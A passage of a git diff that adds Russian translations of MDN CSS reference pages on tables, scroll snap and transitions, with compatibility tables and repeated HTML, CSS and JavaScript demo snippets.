Guides

+ +

None.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Ruby')}}{{Spec2('CSS3 Ruby')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop(38)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile(38)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html new file mode 100644 index 0000000000..1132200f6e --- /dev/null +++ b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html @@ -0,0 +1,66 @@ +--- +title: Базовые концепции CSS Scroll Snap +slug: Web/CSS/CSS_Scroll_Snap/Basic_concepts +translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts +--- +
{{CSSRef}}
+ +

Спецификация CSS Scroll Snap даёт нам возможность реализовывать прокрутку документа с привязкой к определённым точкам. Это может быть полезно в создании интерфейса, по своей работе больше похожего на мобильное приложение.

+ +

Основы Scroll Snap

+ +

Ключевыми свойствами спецификации Scroll Snap являются {{CSSxRef("scroll-snap-type")}} и {{CSSxRef("scroll-snap-align")}}. Свойство scroll-snap-type применяется к скролл-контейнеру для определения типа и направления прокрутки.

+ +

Свойство scroll-snap-align нужно применять к дочерним элементам, чтобы указать позицию, к которой будет привязана прокрутка. Пример ниже демонстрирует прокрутку с привязкой вдоль оси y, а свойство scroll-snap-align применяется для элемента "section", чтобы задать точку, на которой прокрутка должна остановиться.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y.html", '100%', 700)}}

+ +

Свойство scroll-snap-type

+ +

Свойство {{CSSxRef("scroll-snap-type")}} необходимо, чтобы задавать направление, в котором будет происходить привязка прокрутки. Значением свойства может быть x, y, или соответствующие логические block или inline. Также можно использовать ключевое слово both, чтобы привязка работала в обоих направлениях.

+ +

Также можно передавать ключевые слова mandatory, или proximity. Ключевое слово mandatory определяет обязательное смещение прокрутки браузера к ближайшей точке привязки. Ключевое слово proximity означает, что привязка может прозойти , но не обязательно.

+ +

Использование mandatory делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое повысоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к пределённому месту на странице странице. Следовательно, применение mandatory должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.

+ +

При значении proximity привязка будет осуществляться только в тех ситуациях, когда область видимости находится достаточно близко к точке привязки. Определение точного расстояния, на котором это будет происходить, остаётся за браузером. В примере ниже вы можете изменить значение с mandatory на proximity, чтобы увидеть, как это влияет на работу прокрутки.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-proximity.html", '100%', 700)}}

+ +

Свойство scroll-snap-align

+ +

Свойство {{CSSxRef("scroll-snap-align")}} может принимать значения start, end, или center, обозначающие, какую сторону контейнера прижимать к дочернему элементу. В примере ниже вы можете изменить значение scroll-snap-align, чтобы увидеть, как это повлияет на работу прокрутки.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/align.html", '100%', 700)}}

+ +

Внутренний отступ контейнера

+ +

Если вы не хотите, чтобы содержимое вплотную прилегало к краю прокручиваемого контейнера, можете воспользоваться сокращённым свойством {{CSSxRef("scroll-padding")}} или альтернативными ему более конкретными свойствами scroll-padding-*, чтобы задать для прокрутки внутренние отступы с каждой стороны контейнера.

+ +

В примере ниже для свойства scroll-padding установлено значение 40 пикселей. Когда происходит смещение к началу второй и третьей секции, прокрутка останавливается в 40 пикселях от начала элемента. Попробуйте изменить значение свойства scroll-padding, чтобы увидеть изменение размера отступа.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding.html", '100%', 700)}}

+ +

Это может быть полезно в ситуации, когда у вас есть фиксированно позиционированный элемент. Например, панель навигации, которая может перекрывать содержимое. С помощью scroll-padding вы можете оставить место для панели, как это сделано в примере ниже, где <h1> остаётся на экране, а содержимое при прокрутке оказывается под панелью. Без отступов шапка перекроет некоторую часть содержимого, когда произойдёт смещение к привязанной точке.

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding-sticky.html", '100%', 700)}}

+ +

Внешние отступы дочерних элементов

+ +

Свойство {{CSSxRef("scroll-margin")}} может быть задано для дочерних элементов и определяет, по сути, внешний оступ данного элемента до позиции прокрутки. Это позволяет дочерним элементам занимать разное количество места, и может использоваться в сочетании со свойством scroll-padding для родителя. Опробуйте его в примере ниже

+ +

{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-margin.html", '100%', 700)}}

+ +

Свойство scroll-snap-stop

+ +

Свойство {{CSSxRef("scroll-snap-stop")}} сообщает браузеру, обязательно ли ему останавливаться на каждой точке привязки дочерних элементов (это значит, что в примере выше мы бы останавливались в начале каждой секции) или допускается возможность пропускать их. Это свойство реализовано в меньшем количестве браузеров, чем другие свойства из данной спецификации.

+ +

Данное свойство может быть полезно в ситуации, когда нужно, чтобы пользователь гарантированно увидел каждую прокручиваемую секцию, случайно не пролистав какую-то из них. С другой сторона, такое поведение прокрутки может только мешать и замедлять пользователя, который ищет конкретную секцию.

+ +
+

Примечание: на данный момент свойство scroll-snap-stop помечено рискованным для использования в данной версии спецификации, следовательно может быть вообще удалено.

+
+ +

Поддержка браузерами

+ +

На страницах каждого свойства Scroll Snap содержатся подробности поддержки браузерами. Обратите внимание, что до версии 68, в браузере Firefox была реализована поддержка старой версии спецификации. Читайте следующее руководство, чтобы узнать, как писать код, который будет поддерживаться всеми браузерами.

diff --git a/files/ru/web/css/css_scroll_snap/index.html b/files/ru/web/css/css_scroll_snap/index.html new file mode 100644 index 0000000000..1d9daef4a3 --- /dev/null +++ b/files/ru/web/css/css_scroll_snap/index.html @@ -0,0 +1,86 @@ +--- +title: CSS Scroll Snap +slug: Web/CSS/CSS_Scroll_Snap +tags: + - CSS + - CSS Scroll Snap + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Scroll_Snap +--- +
{{CSSRef}}
+ +

CSS Scroll Snap is a module of CSS that introduces scroll snap positions, which enforce the scroll positions that a {{Glossary("scroll container")}}’s {{Glossary("scrollport")}} may end at after a scrolling operation has completed.

+ +
+

Note: The previous version of this module was called Scroll Snap Points and has been deprecated. CSS Scroll Snap is the current implementation.

+
+ +

Reference

+ +

CSS Properties on Containers

+ +
    +
  • {{cssxref("scroll-snap-type")}}
    • +
  • {{cssxref("scroll-snap-stop")}}
    • +
  • {{cssxref("scroll-padding")}}
    • +
  • {{cssxref("scroll-padding-top")}}
    • +
  • {{cssxref("scroll-padding-right")}}
    • +
  • {{cssxref("scroll-padding-bottom")}}
    • +
  • {{cssxref("scroll-padding-left")}}
    • +
  • {{cssxref("scroll-padding-inline")}}
    • +
  • {{cssxref("scroll-padding-inline-start")}}
    • +
  • {{cssxref("scroll-padding-inline-end")}}
    • +
  • {{cssxref("scroll-padding-block")}}
    • +
  • {{cssxref("scroll-padding-block-start")}}
    • +
  • {{cssxref("scroll-padding-block-end")}}
    • +
+ +

CSS Properties on Children

+ +
    +
  • {{cssxref("scroll-snap-align")}}
    • +
  • {{cssxref("scroll-margin")}}
    • +
  • {{cssxref("scroll-margin-top")}}
    • +
  • {{cssxref("scroll-margin-right")}}
    • +
  • {{cssxref("scroll-margin-bottom")}}
    • +
  • {{cssxref("scroll-margin-left")}}
    • +
  • {{cssxref("scroll-margin-inline")}}
    • +
  • {{cssxref("scroll-margin-inline-start")}}
    • +
  • {{cssxref("scroll-margin-inline-end")}}
    • +
  • {{cssxref("scroll-margin-block")}}
    • +
  • {{cssxref("scroll-margin-block-start")}}
    • +
  • {{cssxref("scroll-margin-block-end")}}
    • +
+ +

Guides

+ + + +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Scroll Snap Points")}}{{Spec2("CSS Scroll Snap Points")}}Initial definition
+ +

Browser compatibility

+ +

The individual property pages detail the browser compatibility situation for Scroll Snap. Note that at the present time Firefox still implements an old version of the specification. Read the guide to browser compatibility for an overview of how to support both the old and new specification. 

diff --git a/files/ru/web/css/css_table/index.html b/files/ru/web/css/css_table/index.html new file mode 100644 index 0000000000..b1de286ad4 --- /dev/null +++ b/files/ru/web/css/css_table/index.html @@ -0,0 +1,101 @@ +--- +title: CSS Table +slug: Web/CSS/CSS_Table +tags: + - CSS + - CSS Reference + - CSS Table + - Overview +translation_of: Web/CSS/CSS_Table +--- +
{{CSSRef}}
+ +

CSS Table - модуль в CSS, который определяет, как размещать данные в таблицах.

+ +

Справка

+ +

Свойства

+ +
+
    +
  • {{cssxref("border-collapse")}}
    • +
  • {{cssxref("border-spacing")}}
    • +
  • {{cssxref("caption-side")}}
    • +
  • {{cssxref("empty-cells")}}
    • +
  • {{cssxref("table-layout")}}
    • +
  • {{cssxref("vertical-align")}}
    • +
+
+ +

Руководства

+ +

Нет.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS2.1", "tables.html")}}{{Spec2("CSS2.1")}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}4.04.01.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка1.0{{CompatGeckoMobile("1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/css/css_transitions/index.html b/files/ru/web/css/css_transitions/index.html new file mode 100644 index 0000000000..f281fb9353 --- /dev/null +++ b/files/ru/web/css/css_transitions/index.html @@ -0,0 +1,120 @@ +--- +title: CSS Transitions +slug: Web/CSS/CSS_Transitions +tags: + - CSS + - CSS Transitions + - Experimental + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Transitions +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

CSS Transitions is a module of CSS that defines how to create smooth transitions between values of a given CSS properties. It allows to create them, but also to define their evolution, using timing functions..

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("transition")}}
    • +
  • {{cssxref("transition-delay")}}
    • +
  • {{cssxref("transition-duration")}}
    • +
  • {{cssxref("transition-property")}}
    • +
  • {{cssxref("transition-timing-function")}}
    • +
+
+ +

Guides

+ +
+
Using CSS transitions
+
Step-by-step tutorial about how to create smooth transitions using CSS, this article describes each relevant CSS properties explains how they interact.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transitions') }}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0 {{ property_prefix("-webkit") }}
+ 26.0		{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}
+ {{ CompatGeckoDesktop("16.0") }}		10.011.6 {{ property_prefix("-o") }}
+ 12.10 #		3.0 {{ property_prefix("-webkit") }}
+ 6.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.1 {{ property_prefix("-webkit") }}{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}
+ {{ CompatGeckoMobile("16.0") }}		{{ CompatUnknown() }}10.0 {{ property_prefix("-o") }}
+ 12.10 #		3.2 {{ property_prefix("-webkit") }}
+
+ +

See also

+ +
    +
  • Related to CSS Transitions, CSS Animations can triggers animations independantly of value changes.
    • +
+ +

 

diff --git a/files/ru/web/css/css_transitions/using_css_transitions/index.html b/files/ru/web/css/css_transitions/using_css_transitions/index.html new file mode 100644 index 0000000000..2e75865c4d --- /dev/null +++ b/files/ru/web/css/css_transitions/using_css_transitions/index.html @@ -0,0 +1,1155 @@ +--- +title: Использование CSS переходов +slug: Web/CSS/CSS_Transitions/Using_CSS_transitions +translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions +--- +

{{CSSref}}{{SeeCompatTable}}

+ +

CSS transitions предоставляют способ контролировать скорость анимации, при изменении CSS свойств. Вместо того, чтобы свойство применилось сразу, вы можете сделать это действие происходящим в течение какого-то момента времени. Например, если вы смените цвет элемента с белого на чёрный, изменение произойдёт моментально, а вот с CSS transitions, измения произойдут за временные интервалы, следующих кривой ускорения, все из которых могут быть настроены.

+ +

Анимации, составляющие переход между двумя состояниями, часто называют неявными переходами, так как промежуточные состояния в период между начальным и конечным состоянием неявно определяются браузером.A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.

+ +

CSS переходы позволяют вам решить какие свойства нужно анимировать (перечислением их явно), когда анимация начнётся (установкой задержки), как долго переход будет выполняться (установкой  продолжительности), а также как она будет запущена (определением функции по времени, например линейно или быстро в начале, медленно в конце).

+ +
Замечание: CSS переходы могут использоваться без префиксов, однако спецификация только недавно достигла стабильности, префиксы по-прежнему необходимы для браузеров на WebKit. Они также необходимы для поддержки старых версий браузеров (таких как: Firefox 15, Opera 12 и более ранних). Таблица совместимости приведена внизу страницы с ещё большим количеством информации.
+ +

Какие CSS свойства анимируются?

+ +

Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень доступных для анимирования свойств ограничен определенным набором.

+ +
Замечание: Перечень анимируемых свойств может меняться по мере изменения спецификации.
+ +

Значение свойства auto является сложным случаем. Спецификация не рекомендует анимировать в значение auto и из значения auto. Браузеры, основанные на Gecko, исполняют это требование в точности, а основанные на WebKit не так строго. Использование переходов с auto следует избегать, так как это может привести к непредсказуемым результатам, в зависимости от браузера и его версии.

+ +

Необходимо также соблюдать осторожность при использовании переходов сразу после добавления элемента в DOM с помощью .appendChild() или удаления его display: none; свойства. Это выглядит, как будто никогда не происходило начальное состояние, а элемент всегда был в конечном состоянии. Самый простой способ преодолеть это ограничение - применить window.setTimeout() c некоторым количеством миллисекунд до изменения CSS свойства, которое вы собираетесь анимировать.

+ +

Пример анимирования нескольких свойств

+ +

HTML

+ +
<body>
+    <p>К блоку ниже применятся анимации для свойств: width, height, background-color, transform. Наведите на него, чтоб увидеть, как они анимируются</p>
+    <div class="box"></div>
+</body>
+ +

CSS

+ +
.box {
+    border-style: solid;
+    border-width: 1px;
+    display: block;
+    width: 100px;
+    height: 100px;
+    background-color: #0000FF;
+    -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+    transition: width 2s, height 2s, background-color 2s, transform 2s;
+}
+
+.box:hover {
+    background-color: #FFCCCC;
+    width: 200px;
+    height: 200px;
+    -webkit-transform: rotate(180deg);
+    transform: rotate(180deg);
+}
+
+ +

{{ EmbedLiveSample('Пример_анимирования_нескольких_свойств', 600, 300) }}

+ +

CSS свойства, опредяющие переходы

+ +

CSS переходы контролируются свойством {{cssxref("transition")}}. Это лучший способ их настроить, позволяет избежать длинных свойств и их несоответствий, которые могут сделать отладку CSS долгой.

+ +

Можно контролировать определенные параметры перехода следующими подсвойствами:

+ +

(Заметьте, что циклы переходов бесконечны только для наших примеров; CSS transitions только анимируют смену свойства. Если вам нужно визуализировать этот цикл, обратите внимание на свойство animation.)

+ +
+
{{cssxref("transition-property")}}
+
Указывает имя или имена свойств, чьи переходы должны анимироваться. Только свойства, указанные здесь, анимируются в переходах; изменение других свойств будет происходить обычным образом.
+
{{cssxref("transition-duration")}}
+
Определяет время происхождения перехода. Можно указать время анимирования всех свойств перехода сразу или для каждого свойства в отдельности. +
+
+

transition-duration: 0.5s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_0_5s", 275, 150)}}
+
+ +
+

transition-duration: 1s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_1s",275,150)}}
+
+ +
+

transition-duration: 2s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_2s",275,150)}}
+
+ +
+

transition-duration: 4s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_4s",275,150)}}
+
+
+
+
{{cssxref("transition-timing-function")}}
+
Определяет функцию, указывающую, как вычисляются промежуточные значения свойств. Вы также можете выбрать ослабления от функции замедления Шпаргалка.Большинство функций времени может быть определено графиком соответствующей функции, образующей четырьмя точками кривую Безье. Также можете выбрать функцию отсюда Easing Functions Cheat Sheet. +
+
+

transition-timing-function: ease

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_ease",275,150)}}
+
+ +
+

transition-timing-function: linear

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_linear",275,150)}}
+
+ +
+

transition-timing-function: step-end

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_stepend",275,150)}}
+
+ +
+

transition-timing-function: steps(4, end)

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_step4end",275,150)}}
+
+
+
+
{{cssxref("transition-delay")}}
+
Определяет как много должно пройти времени, перед тем как начнётся переход. +
+
+

transition-delay: 0.5s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_0_5s",275,150)}}
+
+ +
+

transition-delay: 1s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
